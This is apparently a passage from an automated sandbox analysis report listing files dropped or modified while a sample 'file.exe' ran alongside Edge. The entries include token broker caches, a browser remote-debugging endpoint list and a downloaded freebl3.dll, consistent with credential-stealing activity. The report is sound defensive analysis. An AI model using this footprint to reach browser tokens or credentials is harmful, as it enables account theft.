..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.017729903992713
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVU8Y:YWLSGTt1o9LuLgfGBPAzkVj/T8l2J
MD5:	037BDE08CA3B5A4D7F840E09D92930E0
SHA1:	C99AA3AB79ABB6BF08B33CB70CF81052A8C5641A
SHA-256:	C507A95286D23B1DA16C33E22AC9622D97CF7F8451FF125A01B67495D93FCD43
SHA-512:	6AD7A44111A26DE645E908D4BE00B540A4C60F285AB93CE2AD9BE3D4AB25C3799961968DBD24B6878A0430524314DFF3DB56D7A6AE3D3974BC6A0DDC59377446
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730427093794067}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b1ad7dc5-8ffa-418f-a5c3-4cde73f854c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44624
Entropy (8bit):	6.096251619193358
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBwwuXjhDO6vP6Ow0lwEtylhFxcGoup1Xl3jVzXr4z:z/Ps+wsI7ynE8g6Pochu3VlXr4CRo1
MD5:	E7939B4CA62D486AC6C227E0BF6C53E4
SHA1:	A144F5526A18AEE1A71FB028F0B95EBA3E240044
SHA-256:	0D0B08DB44607C06E2CBEC58992EA7DC5304D6A24D66378E51138C24E3FB1AC6
SHA-512:	C435E884A819FD9B68A1CCAACAAE11F25B48FAF7A037E3597E8EFF118276CF15509F2B1639A36BF029728C1BB7102F3FE00C5A7DC82F14FB57D900DE9B408457
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b1eb1a5d-dab3-4464-b242-f732d290b363.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46139
Entropy (8bit):	6.087178611504087
Encrypted:	false
SSDEEP:	768:iMkbJrT8IeQcrQgx9QHCuXQhDO6vP6Ow0lcIvtHjDxhy1DhSCAo/Goup1Xl3jVzj:iMk1rT8HR9Q/D6PP01sRo/hu3VlXr4Q
MD5:	0F7FAE2970DB56584A22AE0C1C4A8B68
SHA1:	560AE747FD3F930252A5E3FBC22B4535B6E8C93A
SHA-256:	940934F35BA2A6CDEF1724D74DEF0AB72ADA5D65BD009D357E7F813B4982592F
SHA-512:	CAE11FE0F36E832F3EF8464CA3BDD7DBF2E5A96365048A2691975562936C81DB3209828979AB6BDD9B6FAE0285DB574FC1A9D7A437F6BF444059082CB4CD6F99
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730326294"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f19e37a7-d8f1-4ac3-a74b-210c3dcf9755.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.095769667460493
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBcwuXjhDO6vP6Ow0lcIvtHjDxcGoup1Xl3jVzXr4z:z/Ps+wsI7yOEAg6PPchu3VlXr4CRo1
MD5:	359042FC2920CFA5622329A022BA91D5
SHA1:	489B0DC9EC11B973F7BFDD0D2CD96727FF311923
SHA-256:	EA05801A3546881774147D00A84562405CFC15A4DE146F0915CA9B7AC9667072
SHA-512:	B705495021863980873F414DD906BCAC7E54B1D657D41368DCE81558029AE0928D415427B6E7C07EB2D2A5B5E142879BAB067C983C75087710BA2BE6524BF8AD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f77fad98-960b-44d0-955c-8cc41ab060f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46216
Entropy (8bit):	6.087129669763363
Encrypted:	false
SSDEEP:	768:iMkbJrT8IeQcrQgZ9QHCuXQhDO6vP6Ow0lwIvtHjDxhy1DhSCAo/Goup1Xl3jVzj:iMk1rT8H59Q/D6PP01sRo/hu3VlXr4Q
MD5:	AE3B1FDE3F964C54BEFF0A6E6FD86A30
SHA1:	9F03035FA9E863C87BB6E704761488A6A19E76DB
SHA-256:	29BFC3B3E3723044C1C54248C39BC18A9AF900869626527B5AFFAA3AF6C4272B
SHA-512:	1AD4CA4F82F781BEE8D9D69BDED20A11DAC33BED391E5E11DDA7CAECCA4853C8D7EF663B170EBB70DE92604D330A0B503EA6172E1AE26E6CEB1E21CF84F130FC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730326294"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fb0fc5ae-0734-4a96-a200-cb3d925eea63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fdc99079-333a-477c-8bfe-353525a86ff5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46216
Entropy (8bit):	6.087132125581175
Encrypted:	false
SSDEEP:	768:iMkbJrT8IeQcrQgZoQHCuXQhDO6vP6Ow0lwIvtHjDxhy1DhSCAo/Goup1Xl3jVzj:iMk1rT8H5oQ/D6PP01sRo/hu3VlXr4Q
MD5:	556C8D6E7D3BC451F266D916D35BDC8D
SHA1:	E028F4CB740814117F248CD30020DF986FFDCEA1
SHA-256:	1E3AE00B3088680ABDFE504A9A2282C2A058F1B74935432D548ABE942B653D59
SHA-512:	DDFC0F7F7A64C1A0D2DFD8ACE8186611F5BD896AC17DB32984CB0CC8421EDC7B81F3C9CB0CBB04ED11A04E6F81F27D1BF2628F35A331CDB80EB6C94007E1B43F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730326294"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.831113002012278
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxzXxl9Il8uYJxboMMzbsQlzFZFUwwlkJ2lsJBd1rc:mCYOJxsZbsQRe9yE4i
MD5:	39DC388436C669A6C3D83E566F56E51A
SHA1:	9EA1EE757F3BD38ECF5806CC4DF74391FFDB4AED
SHA-256:	0049DF92980D8BCA2DD2D64D70E7CC0CCD1A8FE3DE55AE69A4D09FD879D3EAB8
SHA-512:	3D808D2657BE4E9B67E24C909BAF1EB1B74E785798B7CF18F553227503C2AE45D691D704CC0C2BA686186405D7099679462D8E72489A0144F5FACF634E3B035B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.F.c.B.E.C.E.r.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.b.i.z.r.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000591827569765
Encrypted:	false
SSDEEP:	96:KYOJtK04MXks6CwMQKg2Q/Hl/rE7YJDagWNCf:KvVpnW26zPJ0U
MD5:	D87ABAE244CBCCE20D656A08A3EB4EBD
SHA1:	6381D525CCC2A00AD336B5CEF3FA693ADFDC71D1
SHA-256:	1F30082CB54D5A179194C4A64CBA48B8385CD96896F8EEF8C27C475206A246C0
SHA-512:	EC350E1A528A4B9AB9FCED82626B01C444A8C7511BC09CE205EF675ED3C3E14CF9D124D43D2105D4A6F1A6242310BDC5AB89B47FFB5101FC5245BD422F25DAB9
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".3.R.Q.0.9.R.g.r.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.b.i.z.r.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.901918867717383
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xyxl9Il8uYJz7ybNgt/VJ3xX0D/94x2Y5wrEsQWWNzd/vc:agYOJPybUkq2Y56QNu
MD5:	C24E7D08B468F2244E9C808DABFDFD4E
SHA1:	0724DE2DB74BA749B66100AF208E049AF7C6BCAF
SHA-256:	34ACC13A05EA557B8402C5A68B17CC2AFF0D24CFA456CE5CABCB0BCE2E5EEF99
SHA-512:	81C302C5D8A7EA4722729958E3CB5DE330633A3E1035EF2F9DDBF154A51356DBE2951D1D2D025C4A7BBFD411177FB43628871919D15BBE6AFE627986EC9CBC42
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".E.X.h.7.J.e.p.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.8.b.i.z.r.B.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.3973213903298705
Encrypted:	false
SSDEEP:	96:6NnQyHQFNnQ4bQCNnQDkYkT9QDkcxNnQVrdgEQV/NnQ0QoNnQjBeDQBNnQswQhNp:6N2NzN8xNarw/NrN8BeKN79Np
MD5:	B1AE2B022016C040B7712A409E2C5D66
SHA1:	077B75D32218970F24B0F32E73F1E31076BC3D32
SHA-256:	A432B6F4C740C3FCCDC62B789499AFE8200BECF85AEDDEBDD5B395D36702E36A
SHA-512:	F5B4F7A935287B09CE6A2AA3622FFD7DCFDBF73B86D47D51744126A23033C32FF0AF346C482909E10DD7C025FFC28066A954C071E0D7253E0FDA5D20D09C2134
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4619226DBB0C3D4FAF6CC44A88112A9F",.. "id": "4619226DBB0C3D4FAF6CC44A88112A9F",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4619226DBB0C3D4FAF6CC44A88112A9F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3F9508C905E09CB0E78C4B51EB61104B",.. "id": "3F9508C905E09CB0E78C4B51EB61104B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3F9508C905E09CB0E78C4B51EB61104B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
